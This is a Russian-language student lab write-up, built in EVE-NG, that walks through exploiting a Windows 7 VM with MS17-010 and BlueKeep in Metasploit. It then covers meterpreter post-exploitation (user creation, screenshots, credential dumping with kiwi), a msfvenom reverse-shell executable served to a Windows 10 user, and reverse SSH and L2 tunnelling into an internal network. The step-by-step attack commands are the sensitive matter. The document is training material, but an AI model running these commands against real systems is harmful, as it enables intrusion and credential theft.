# **Практика №3-4**. # **Эксплутация уязвимостей. MetaSplot Framework** # **Задание к практической работе №3** - Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) - Настроить каждое устройство в соответсвии со следующими параметрами: - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP - На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины - Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов - Использую Metasploit Framework - получить доступ до Windows-7 виртуальной машины - Используя payload meterpreter: - выполнить создание нового пользователя - Выполнить скриншот рабочего стола - получить все учетные записи, находящиеся в памяти системы - Выполнить проксирование трафика во внутреннюю инфраструктуру # **Выполнение задания** Для начала необходимо построить инфраструктуру в соответствии с заданием, проверить настройки pfsense и посмотреть ip адреса устройств: ![](https://i.imgur.com/DlOc5UL.png) pfsense: ![](https://i.imgur.com/vyeOSdt.png) Windows7: ``` ipconfig ``` ![](https://i.imgur.com/3ziwg2b.png) KaliLinux: ``` ip a ``` ![](https://i.imgur.com/JCYyoKu.png) После настройки устройств необходимо пробросить порты(445,3389) в pfsense. Для этого заходим в браузер на устройстве Windows7 и пишем WAN ip pfsense, после чего пробрасываем порты: ![](https://i.imgur.com/kSSOKar.png) ![](https://i.imgur.com/fmOP2kI.png) # Сканирование внешнего интерфейса межсетевого экрана с помощью nmap Используя KaliLinux, сканируем межсетевой экран: ``` sudo nmap 192.168.25.145 -p445,3389 -A ``` ![](https://i.imgur.com/PLGeoXY.png) Для обнаружения уязвимостей воспользуемся скриптами nmap: Чтобы установить скрипт Nmap-vulners, перейдем в каталог скриптов Nmap с помощью следующей команды: `cd /usr/share/nmap/scripts/` Далее клонируем git репозиторий: `git clone https://github.com/vulnersCom/nmap-vulners.git` Теперь можно просканировать хост: ``` sudo nmap -sV --script vuln 192.168.25.145 -p445,3389 ``` Скрипт нашел уязвимость ms17-010: ![](https://i.imgur.com/qaumXDZ.png) С помощью msfconsole находим эксплойты ms17-010 и пытаемся их выполнить: Запускаем: `msfconsole` Ищем: `search ms17-010` ![](https://i.imgur.com/I6wMR9j.png) Выбираем конкретный: `use 0` Задаем таргет: `set RHOSTS 196.168.25.145` Используем: `run` ![](https://i.imgur.com/GgFhvDn.png) В итоге мы получили доступ к устройсту. # Использование payload meterpreter `set payload windows/x64/meterpreter/reverse_tpc` - выполнить создание нового пользователя Сначала активируем использование протокола RDP на удаленной машине: meterpreter> `run getgui -e` ![](https://i.imgur.com/TcbWwdt.png) meterpreter> `run getgui -u USER -p PASS` ![](https://i.imgur.com/5XHQV2P.png) хотя meterpreter выдал ошибку создания пользователя, при перезагрузке устройста(Windows7), пользователь создался! ![](https://i.imgur.com/fnSfyi3.png) - выполнить скриншот рабочего стола meterpreter> `screenshare` ![](https://i.imgur.com/DStEdHk.jpg) - получить все учетные записи, находящиеся в памяти системы meterpreter> ``` load kiwi creds_all ``` ![](https://i.imgur.com/NCi4sSS.png) - Выполнить проксирование трафика во внутреннюю инфраструктуру Для начала пробросим порт с Windows7 до pfsense: portfwd add -L (kali ip) -l (random port on kali) -p (port on Win7) -r (LAN ip pfsense) `portfwd add -L 192.168.25.144 -l 2323 -p 443 -r 192.168.1.1` Теперь можем зайти в pfsense через кали: ![](https://i.imgur.com/l4ojGXe.png) - Превышение прав доступа При попытке превысить права с помощью exploits(), к сожалению ничего не получилось потому, что версия Win10 не 1903-1909 x64 ![](https://i.imgur.com/wSKYt1N.png) ![](https://i.imgur.com/765iNGG.png) ![](https://i.imgur.com/r00SgSm.png) ![](https://i.imgur.com/0EgZMUv.png) ![](https://i.imgur.com/rUOzKl0.png) # **Практика №4. Revers Shells & Reverse SSH connections.** # Reverse_shell Теперь немного изменяем инфраструктуру из прошлой лабораторной работы: ![](https://i.imgur.com/cMJHlTY.png) В Win10 получаем ip: ``` ipconfig ``` ![](https://i.imgur.com/VR95wJJ.png) Сканируем этот ip через nmap: `nmap 192.168.1.107 -O` ![](https://i.imgur.com/YX3Y1nF.png) Видим ОС устройства. Теперь при помощи msfvenom создадим исполняемый файл, который будет выполнять payload windows/x64/meterpreter/reverse_tcp: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -f exe -o meterpreter.exe` ![](https://i.imgur.com/XdrUpmt.png) Теперь в этой же дирректории, запускаем модуль Python(SimpleHTTPServer) для того, чтобы пользователь Win10 мог скачать наш исполняемый файл: ![](https://i.imgur.com/1FXcpG4.png) Заходим в систему Win10 как обычный пользователь без прав и открываем сайт: ![](https://i.imgur.com/flkT9XH.png) Скачиваем файл: ![](https://i.imgur.com/gq9GVBr.png) Так же необходимо настроить сервер, используем специальный эксплойт, который будет слушать все. В msfconsole используем эксплойт для прослушки: `use exploit/multi/handler` Задаем эксплойту прослушиваемый пейлоад: `set payload windows/x64/meterpreter/reverse_tcp` Задаем эксплойту адрес прослушки: `set lhost 0.0.0.0` ![](https://i.imgur.com/3qzRdfx.png) Теперь с Win10 запустим скачанный ранее файл, и посмотрим что произойдет: ![](https://i.imgur.com/xsJAq3n.png) В итоге мы поличили доступ к meterpreter. Но при попытке получить доступ к экрану, мы видим что у нас нет прав доступа! meterpreter> `screenshare` ![](https://i.imgur.com/dQ8BSJn.png) Еще раз убедимся что мы зашли за обычного пользователя: meterpreter> ``` shell whoami ``` ![](https://i.imgur.com/pMqnNHv.png) # Reverse SSH Connection Изменим инфраструктуру, вынесем Kali Linux за пределы локальной сети: ![](https://i.imgur.com/O5eJ49n.png) На Kali включим ssh: `sudo service ssh start` Сделаем так, чтобы ssh включался автоматически: `sudo systemctl enable ssh` ![](https://i.imgur.com/1R3f1yC.png) Подключаемся через Win10 к Kali по SSH: `ssh user@192.168.25.156` ![](https://i.imgur.com/BP6QYTI.png) Теперь через Win10 пробросим порт 3390 на кали, так чтобы Kali подлкючался сам к себе, и попадал на порт 3389 на Win10: `ssh -R 3390:localhost:3389 user@192.168.25.156` ![](https://i.imgur.com/AI0ixwe.png) Теперь посмотрим результат сканирования сокетов на Kali до и после выполнения обратного SSH: `ss -tunlp` ![](https://i.imgur.com/W6hZYc5.png) Видим что появился новый процесс на 3390 порту. Теперь мы можем на Kali подключиться по RDP к самим себе, и увидеть что мы получили доступ к Win10! `xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` ![](https://i.imgur.com/1LFZ8i4.png) ![](https://i.imgur.com/4R0L40u.png) Теперь на Kali, через обратное подключение к Win10, дадим доступ Kali на порту 3389 до порта 3389 на Win7: `ssh -R 3389:192.168.1.102:3389 user@192.168.25.156` ![](https://i.imgur.com/kvMYDp8.png) Снова посмотрим активные сокеты на Kali: `ss -tunlp` ![](https://i.imgur.com/GYEpiSv.png) Теперь видим новый процесс на порту 3389. ![](https://i.imgur.com/CbIfiXN.png) Дальше на Kali попробуем атаковать Win7 с помощью уязвимости bluekeep: ``` msfconsole search bluekeep use 1 set rhost 127.0.0.1 set target 8 run ``` ![](https://i.imgur.com/hbaXqEd.png) В итоге мы получаем доступ до Win7!!! # SSH reverse_shell через Debian(L3) Снова поменяем инфраструктуру: ![](https://i.imgur.com/eaqvQ0T.png) Попробуем получить доступ Kali до Win7 пробросив порты на Debian: Debian: `ssh -R 3389:192.168.1.113:3389 user@192.168.25.156` Kali `xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3389` ![](https://i.imgur.com/Qf1SIb4.png) Далее с помощью msfconsole и эксплойта bluekeep можем получить доступ как в прошлом пункте. Настроим на Debian получение ip по dhcp: `sudo nano /etc/network/interfaces` auto ens3 iface ens3 inet dhcp Теперь можем увидеть идущий трафик. ![](https://i.imgur.com/OwAzEjr.png) # SSH L2 Tunneling Настроим на Debian получение ip по dhcp, так же создадим мост между интерфейсами e0 и e1: `sudo nano /etc/network/interfaces` Меняем файл конфигурации: auto ens3 iface ens3 iten manual auto ens4 iface ens4 iten manual auto br0 iface br0 inet dhcp bridge_ports ens3 ens4 ![](https://i.imgur.com/PgkiHj5.png) Сначала зададим пароль для root на Kali и отредактируем файл /etc/ssh/sshd_config: `sudo passwd root` `sudo nano /etc/ssh/sshd_config` *PermitTunnel yes PermitRootLogin yes* ![](https://i.imgur.com/geVhLmu.png) Сначала на Debian создадим туннель: `ssh root@192.168.25.156 -o Tunnel=etherner -w any:any` ![](https://i.imgur.com/ijAn0sJ.png) На обеих устройствах создается интерфейс tap0: ![](https://i.imgur.com/GxCW2Tt.png) На Debian добавляем tap0 интерфес к br0: `brctl addif br0 tap0` ![](https://i.imgur.com/AExQ4Y5.png) Поднимаем этот интерфейс: `ip link set dev tap0 up` ![](https://i.imgur.com/rqPjWhN.png) Теперь делаем тоже самое на Kali: `ip link set dev tap0 up` И прослушиваем этот интерфейс: `tcpdump -i tap0` ![](https://i.imgur.com/nADcpgV.png) Попробуем получить dhcp адрес: ![](https://i.imgur.com/MWquBy6.png) Видим что у нас теперь ip как будто мы внутри инфраструктуры. Можем зайти на сайт pfsense: ![](https://i.imgur.com/Jc5xoKZ.png)